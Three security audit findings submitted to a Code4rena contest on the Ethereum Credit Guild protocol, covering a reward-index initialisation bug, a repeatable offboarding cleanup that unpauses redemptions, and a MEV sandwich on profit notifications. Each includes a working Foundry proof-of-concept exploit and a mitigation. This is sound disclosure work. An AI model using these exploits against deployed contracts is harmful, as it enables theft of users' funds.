Ethereum Credit Guild - Arz's results

Lines of code

https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/2376d9af792584e3d15ec9c32578daa33bb56b43/src/governance/ProfitManager.sol#L416-L418

Vulnerability details

When claimGaugeRewards() is called for the first time before the user votes for a gauge, the userGaugeProfitIndex should be set to the current gaugeProfitIndex, later when the gaugeProfitIndex grows the user will be able to claim the rewards.

The problem here is that the first time claimGaugeRewards() is called the userGaugeProfitIndex is not set to anything because of this check:

https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/2376d9af792584e3d15ec9c32578daa33bb56b43/src/governance/ProfitManager.sol#L416-L418

416:  if (_userGaugeWeight == 0) {
417:      return 0;
418:  }

So an attacker can vote for a gauge after profit is notified, claimGaugeRewards() will be called for the first time in incrementGauge() however the userGaugeProfitIndex will not be set and will be 0.

The attacker will then call claimGaugeRewards() again and because the userGaugeProfitIndex == 0 it will be set to 1e18 and because the gaugeProfitIndex is bigger than 1e18 the attacker will receive rewards without waiting.

Impact

The attacker will receive rewards without waiting and he can repeat this until all rewards are stolen, other users will then fail to claim their rewards and will receive nothing.

Proof of Concept

Add this to ProfitManager.t.sol and import "@forge-std/console.sol";

As you can see the attacker will be able to steal rewards in the same transaction.

function testAttackClaimAfterProfit() public {
        address attacker = makeAddr("attacker");
        vm.startPrank(governor);
        core.grantRole(CoreRoles.GOVERNOR, address(this));
        core.grantRole(CoreRoles.CREDIT_MINTER, address(this));
        core.grantRole(CoreRoles.GUILD_MINTER, address(this));
        core.grantRole(CoreRoles.GAUGE_ADD, address(this));
        core.grantRole(CoreRoles.GAUGE_PARAMETERS, address(this));
        core.grantRole(CoreRoles.GAUGE_PNL_NOTIFIER, address(this));
        vm.stopPrank();

        vm.prank(governor);
        profitManager.setProfitSharingConfig(
            0, // surplusBufferSplit
            0.5e18, // creditSplit
            0.5e18, // guildSplit
            0, // otherSplit
            address(0) // otherRecipient
        );
        guild.setMaxGauges(1);
        guild.addGauge(1, gauge1);
        guild.mint(attacker, 150e18);
        guild.mint(bob, 400e18);


        vm.prank(bob);
        guild.incrementGauge(gauge1, 400e18);
        

        credit.mint(address(profitManager), 20e18);
        profitManager.notifyPnL(gauge1, 20e18);

        //Attacker votes for a gauge after it notifies profit
        //The userGaugeProfitIndex of the attacker is not set 
        vm.prank(attacker);
        guild.incrementGauge(gauge1, 150e18);
       
        //Because the userGaugeProfitIndex is not set it will be set to 1e18
        //The gaugeProfitIndex will be 1.025e18 so the attacker will steal the rewards
        profitManager.claimGaugeRewards(attacker,gauge1);
        console.log(credit.balanceOf(attacker));

        //Other users will then fail to claim their rewards
        vm.expectRevert(bytes("ERC20: transfer amount exceeds balance"));
        profitManager.claimGaugeRewards(bob,gauge1);
        console.log(credit.balanceOf(bob));
    }

Tools Used

Foundry

Recommended Mitigation Steps

When userGaugeProfitIndex equals to 0 it should be set to the current gaugeProfitIndex and it should be set the first time claimGaugeRewards() is called.

Assessed type

Other

Lines of code

https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/2376d9af792584e3d15ec9c32578daa33bb56b43/src/governance/LendingTermOffboarding.sol#L138

Vulnerability details

When a quorum is met canOffboard[term] is set to true which means that the term will be offboarded and all loans will be closed. When all loans are closed cleanup() is called and canOffboard[term] is set to false.

The problem here is that the polls mapping tracking the quorum supporting the removal is not reset and when canOffboard[term] is set to false, the attacker can call supportOffboard() again and because quorum was already met and the polls mapping wasnt reset, canOffboard[term] will be set to true again when the attacker adds 1 wei of voting power.

The attacker will then be able to call cleanup() again because the term is deprecated and has 0 issuance, this will then decrease the nOffboardingsInProgress and the attacker can repeat this until redemptions are unpaused even though other terms are currently being offboarded and liquidations are happening.

The only requirement here is that the first cleanup happened < 7 days(POLL_DURATION_BLOCKS) from the proposal creation so that the attacker is able to call supportOffboard() again after the first cleanup.

There is no proposal delay when offboarding and the auctions are 30 minutes so < 7 days is completely possible.

Impact

The attacker will be able to unpause redemptions while other terms are being offboarded which breaks the core protocol functionality. Some users will be able to redeem through the PSM to avoid losses while some users will suffer big losses and bad debt will not be handled fairly. This will also break the LendingTermOffboarding contract because the nOffboardingsInProgress will not correspond to the actual number.

Proof of Concept

This test demonstrates how an attacker can unpause redemptions even though 2 terms are currently being offboarded by repeatedly cleaning up the same term until nOffboardingsInProgress is 0.

Add this to LendingTermOffboarding.t.sol and import "@forge-std/console.sol";

function testCleanupAttack() public {
        address attacker1 = makeAddr("attacker1");
        guild.mint(attacker1, 1);
        vm.prank(attacker1);
        guild.delegate(attacker1);

        address attacker2 = makeAddr("attacker2");
        guild.mint(attacker2, 1);
        vm.prank(attacker2);
        guild.delegate(attacker2);

        guild.mint(bob, _QUORUM);
        vm.startPrank(bob);
        guild.delegate(bob);
        uint256 snapshotBlock = block.number;
        offboarder.proposeOffboard(address(term));
        vm.roll(block.number + 1);
        vm.warp(block.timestamp + 13);
        offboarder.supportOffboard(snapshotBlock, address(term));
        offboarder.offboard(address(term));


        // get enough CREDIT to pack back interests
        vm.stopPrank();
        vm.roll(block.number + 1);
        vm.warp(block.timestamp + 13);
        uint256 debt = term.getLoanDebt(aliceLoanId);
        credit.mint(alice, debt - aliceLoanSize);

        // close loans
        vm.startPrank(alice);
        credit.approve(address(term), debt);
        term.repay(aliceLoanId);
        vm.stopPrank();

        // cleanup
        offboarder.cleanup(address(term));

        //Assume there are 2 other active terms being offboarded
        vm.store(address(offboarder), bytes32(uint256(6)), bytes32(uint256(2)));
        console.log("There are %s terms that are currently being offboarded", offboarder.nOffboardingsInProgress());

        //THE ATTACK STARTS HERE
        //THE CLEANUP SHOULD HAVE HAPPENED < 7 days from the proposal creation
        vm.prank(attacker1);
        offboarder.supportOffboard(snapshotBlock, address(term));

        //The term can be offboarded again
        assertEq(offboarder.canOffboard(address(term)), true);

        //cleanup() is called again, nOffboardingsInProgress is now 1
        offboarder.cleanup(address(term));

        vm.prank(attacker2);
        offboarder.supportOffboard(snapshotBlock, address(term));
        offboarder.cleanup(address(term));

        //The proccess is repeated, the nOffboardingsInProgress is now 0 
        //Lenders can redeem even though there are 2 other active terms being offboarded 
        console.log("The nOffboardingsInProgress is %s ", offboarder.nOffboardingsInProgress());
    }

Tools Used

Foundry

Recommended Mitigation Steps

supportOffboard() should check if the term is deprecated and revert if yes.

require(!GuildToken(guildToken).isDeprecatedGauge(term),"LendingTermOffboarding: ");

Assessed type

Invalid Validation

Lines of code

https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/2376d9af792584e3d15ec9c32578daa33bb56b43/src/governance/ProfitManager.sol#L409

Vulnerability details

Whenever a user calls partialRepay() or repay() where profit is notified, a MEV bot can front-run that transaction and increase the gauge weight where profit is about to be notified.

After the profit is notified the attacker will remove the gauge weight and claim the rewards that he received because of the gaugeProfitIndex increase. This allows the attacker to sandwich transactions where profit is notified and profit from this.

Impact

The attacker will profit from this and receive credit tokens or guild tokens when using the SurplusGuildMinter. The reward for everyone else can then be smaller and users will receive less rewards.

Proof of Concept

Add this to ProfitManager.t.sol and import "@forge-std/console.sol";

As you can see the attacker will be able to profit from the gaugeProfitIndex increase. He can receive even more rewards when using the SurplusGuildMinter.

function testSandwichAttack() public {
        address attacker = makeAddr("attacker");

        vm.startPrank(governor);
        core.grantRole(CoreRoles.GOVERNOR, address(this));
        core.grantRole(CoreRoles.CREDIT_MINTER, address(this));
        core.grantRole(CoreRoles.GUILD_MINTER, address(this));
        core.grantRole(CoreRoles.GAUGE_ADD, address(this));
        core.grantRole(CoreRoles.GAUGE_PARAMETERS, address(this));
        core.grantRole(CoreRoles.GAUGE_PNL_NOTIFIER, address(this));
        vm.stopPrank();

        vm.prank(governor);
        profitManager.setProfitSharingConfig(
            0, // surplusBufferSplit
            0.5e18, // creditSplit
            0.5e18, // guildSplit
            0, // otherSplit
            address(0) // otherRecipient
        );
        guild.setMaxGauges(1);
        guild.addGauge(1, gauge1);
        guild.mint(attacker, 500e18);
   
        //FRONT-RUN
        vm.prank(attacker);
        guild.incrementGauge(gauge1, 500e18);
        
        vm.warp(block.timestamp + 1);

        credit.mint(address(profitManager), 200e18);
        profitManager.notifyPnL(gauge1, 200e18);

        vm.warp(block.timestamp + 1);

        //BACK-RUN
        profitManager.claimGaugeRewards(attacker,gauge1);
        vm.prank(attacker);
        guild.decrementGauge(gauge1, 500e18);

        console.log("Attackers profit: %s CREDIT", credit.balanceOf(attacker) / 1e18);
    }

Tools Used

Foundry

Recommended Mitigation Steps

Add a cooldown period, although it might not solve this problem fully, MEV bots wont be incentivised to do this because their guild tokens can be slashed while locked.

Assessed type

MEV